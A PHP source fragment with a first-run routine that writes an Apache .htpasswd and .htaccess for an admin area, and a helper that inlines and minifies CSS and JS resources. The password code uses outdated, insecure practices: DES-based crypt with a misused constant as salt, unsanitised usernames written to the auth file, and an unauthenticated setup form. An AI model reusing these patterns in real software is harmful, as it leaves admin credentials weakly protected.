function checkAdminPassword() { global $HTTP_POST_VARS; global $_POST; global $config; if (!file_exists("admin/.htaccess") || !file_exists("admin/.htpasswd")) { echo "Set the Administrator Username and Password"; if (isset($HTTP_POST_VARS['submit'])) { if (isset($_POST['user']) && isset($_POST['password1'])) { if ($_POST['password1'] == $_POST['password2']) { $user = $_POST['user']; $password1 = $_POST['password1']; $htpasswd_text = "\n" . $user . ":" . crypt($password1, CRYPT_STD_DES); writeFile('admin/.htpasswd', $htpasswd_text); $htaccess = "IndexIgnore .htaccess , .htpasswd , .. , . \n"; $htaccess .= 'AuthName "Admin Access"'; $htaccess .= "\n" . "AuthType Basic \n"; $htaccess .= "AuthUserFile " . $config['currentDir'] . "/admin/.htpasswd \n"; $htaccess .= "Require valid-user"; writeFile('admin/.htaccess', $htaccess); } else { echo "<hr />"; echo "<b>Passwords do not match</b>"; echo "<hr />"; } } } else { echo '<form method="post" action="index.php"><table>'; echo '<tr><td>Username:</td><td><INPUT TYPE="TEXT" NAME="user"></td></tr>'; echo '<tr><td>Password:</td><td><INPUT TYPE="PASSWORD" NAME="password1"></td></tr>'; echo '<tr><td>Password again:</td><td><INPUT TYPE="PASSWORD" NAME="password2"></td></tr>'; // echo '<tr><td>Use this login also on the main page:</td><td><input type="PASSWORD" NAME="password2"></td></tr>'; echo '<tr><td><center><INPUT type=submit name="submit" VALUE="Set User / Pass">'; echo '</center></td></tr>'; echo '</table><form>'; die; } } }
function referenceResources($reg, &$txtCnt, $urlBase, $sType) { preg_match_all($reg, $txtCnt, $aSrcs); $aCnts = []; for ($cntSrcs = 0; $cntSrcs < count($aSrcs[0]); $cntSrcs++) { $sResource = $aSrcs[0][$cntSrcs]; $urlRel = $aSrcs[1][$cntSrcs]; $urlAbs = calAbsUrl($urlRel, $urlBase); $txtSrc = getContent($urlAbs); $txtCnt = str_replace($sResource, '', $txtCnt); if ($txtSrc === false) { echo "File doesn't exist!!! {$urlRel} in {$urlBase}"; } else { $aCnts[] = $txtSrc; } } $txtSrc = implode('', $aCnts); switch ($sType) { case 'css': $txtCnt = '<style>' . $txtSrc . '</style>' . $txtCnt; break; case 'js': if (!DEVELOPING) { $fileTmp = WEBROOT_AT_DISK . TEMPORARY_JS; writeFile(TEMPORARY_JS, $txtSrc); $ug = new JSUglify2(); $ug->uglify([$fileTmp], $fileTmp); $txtSrc = getContent(TEMPORARY_JS); unlink($fileTmp); } $txtCnt .= '<script>' . $txtSrc . '</script>'; break; default: # code... break; } return; }